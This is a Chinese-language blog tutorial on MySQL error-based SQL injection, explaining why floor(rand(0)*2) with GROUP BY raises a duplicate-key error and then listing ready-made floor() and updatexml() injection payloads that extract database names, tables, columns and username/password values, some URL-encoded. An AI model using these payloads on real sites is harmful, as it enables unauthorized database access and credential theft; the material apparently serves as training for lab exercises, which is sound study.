报错注入

1. mysql的floor()报错注入方法详细分析

遇见了 select count() from table group by floor(rand(0)2); 这么条语句。学习一定要弄明白的态度,在此做个总结。

首先,只要该语句明白了,那么类似select count(*),(floor(rand(0)*2))x from table group by x;这样的变形语句基本上都可以变通(这里只是起了个别名)。

基本的查询 select 不必多说,剩下的几个关键字有 count 、group by 、floor、rand。

rand(0)*2

rand() 可以产生一个在0和1之间的随机数。

undefined

可见,每次产生的都不一样。当我们提供一个种子参数 0 后,再次查看:

undefined

可以发现,每次产生的值都是一样的。也可以称之为伪随机(产生的数据都是可预知的)。
查看多个数据看一下。( test 是我之前创建的一个拥有9条数据的表)

undefined

发现第一条数据与刚才查看的单个数据相符合,其它的数据也完全一样。
为什么要乘以 2 呢?这就要配合 floor 函数来说了。

floor(rand(0)*2)

floor() 返回小于等于该值的最大整数。
之前我们了解到,rand() 是返回 0 到 1 之间的随机数,那么乘 2 后自然是返回 0 到 2 之间的随机数,再配合 floor() 就可以产生确定的两个数了。也就是 0 和 1。

undefined

为什么需要这两个数呢?

group by 与 count(*)

group by 主要用来对数据进行分组(相同的分为一组),这里与count() 结合使用。举个例子就一目了然了。

undefined

可以观察到,这里对重复性数据进行了整合,然后计数。

重点来了,也就是在这个整合然后计数的过程中,中间发生了什么我们是必须要明白的。
经过网上查询,发现mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count(*)。也就对应于上个截图中的 prod_price 和 count()。
然后
在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组。*

先来解释一下count(*)与group by是如何共同工作的。首先,系统会建立一个虚拟表:

undefined

假设有表:

undefined

执行count(*) from ... group by age的过程中,会形成这样的虚拟表:

undefined

它是如何一步步形成这张表的呢?看上上图。由于group by的是age,第一次读取的就是18,在虚拟表中寻找是否已经存在18,由于表是空的,直接插入一条新数据,这时虚拟表变成这样:

undefined

继续。下一个是19,由于虚拟表中依旧没有key为19的字段,故插入。再下一个是20,继续插入。再下一个又是20。由于已经有了20,故将key为20的字段的count(*)的值加1,变为了2。剩下的以此类推,最后形成了这个虚拟表:

undefined

好了,现在group by原理讲完了。那究竟是如何将其与floor联合起来,进行floor报错呢?
先来回顾一下

payload:

select count(*), floor(rand(0)*2) as a from information_schema.tables group by a;

总体是一个group by语句,只不过这里group by的是floor(rand(0)2)。这是一个表达式,每次运算的值都是随机的。还记得我刚刚说的floor(rand(0)2)的值序列开头是011011...吧?ok,下面开始运算。
首先,建立一张虚拟表:

undefined

接着,进行group by floor(rand(0)2)。floor表达式第一次运算的值为0,在表中没有找到key为0的数据,故插入,在插入的过程中需要再取一次group by后面的值(即再进行一次floor运算,结果为1),取到了1,将之插入,并将count()置1。

undefined

继续,再进行group by floor(rand(0)2)。进行floor表达式运算,由于这是第三次运算了,故值为1。刚好表中有了key为1的数据,故直接将其对应的count()加1即可。

undefined

继续进行group by。这是第四次floor运算了,根据刚刚那个011011序列,这次的值为0,在表中找是否有key为0的数据。当然没有,故应当插入一条新记录。在插入时进行floor运算(就像第一次group by那样),这时的值为1,并将count(*)置1。可是你会说,虚拟表中已经有了key为1的数据了啊。对,这就是问题所在了。此时就会抛出主键冗余的异常,也就是所谓的floor报错。

利用:

select count(*), concat((select database()), '-', floor(rand(0)*2)) as a from information_schema.tables group by a; #将select database()换成你想要的东西!~

报错分析

rand()的特殊性

select count(*) from test group by floor(rand(0)*2);

而又因为 rand 函数的特殊性(如果使用rand()的话,该值会被计算多次)。
在这里的意思就是,group by 进行分组时,floor(rand(0)*2)执行一次(查看分组是否存在),如果虚拟表中不存在该分组,那么在插入新分组的时候 floor(rand(0)*2) 就又计算了一次。(其实在上述 rand(0) 产生多个数据的时候,也能观察出来。只要 rand(0) 被调用,一定会产生新值)。

这样,所有的理论细节就全部明朗了。

报错

还记得我们之前产生的疑问,为什么要用 floor(rand(0)*2 产生 0 和 1 这两个数吗?

undefined

当 group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是需要插入分组,就在这时,floor(rand(0)\*2)再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ;然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,然后floor(rand(0)*2)又被触发,生成第五个值 1 ,因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了!所以报错!

undefined

floor(rand(0)*2的作用就是产生预知的数字序列01101,然后再利用 rand() 的特殊性和group by的虚拟表,最终引起了报错。

利用floor()报错:

注入公式(Payload为自己想获取内容的脚本):
and(select 1 from (select count(*),concat(concat(payload),floor(rand(0)*2))x from information_schema.tables group by x)y)

and(select 1 from (select count(*),concat(concat(database(),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
//暴库

and(select 1 from (select count(*),concat(concat((select concat(table_name) from information_schema.tables where table_schema="security" limit 3,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
//查询表

and(select 1 from (select count(*),concat(concat((select concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
//查询字段

and(select 1 from (select count(*),concat(concat((select concat(username,0x7e,password,0x7e) from security.users limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
//查询字段内容

2.xpath函数:

主要的两个函数:

Mysql5.1.5

  1. updatexml():对xml进行查询和修改

  2. extractvalue():对xml进行查询和修改

都是最大爆32位。
提示输出信息超过一行,说明这里数据库名组成的字符串长度超过了64位(group_concat()函数最大长度为64位),所以需要放弃group_concat()函数,而使用limit 0,1来一个个输出。
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)

and updatexml(1,concat(0x7e,(payload),0x7e))

and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
//查询当前用户名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
//查询当前数据库名
 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
//查询所有的数据库名称
 id=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e),1)%23
//查询表名
 id=1%27%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x7e),1)%23
 //查询表下的字段
and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from security.users limit 0,1),0x7e),1)
//爆出具体的字段内容。

参考:http://www.hellomao.top/2019/08/16/web_mysql_floor/#%E6%8A%A5%E9%94%99%E5%88%86%E6%9E%90

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,684评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,143评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,214评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,788评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,796评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,665评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,027评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,679评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 41,346评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,664评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,766评论 1 331
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,412评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,015评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,974评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,073评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,501评论 2 343

推荐阅读更多精彩内容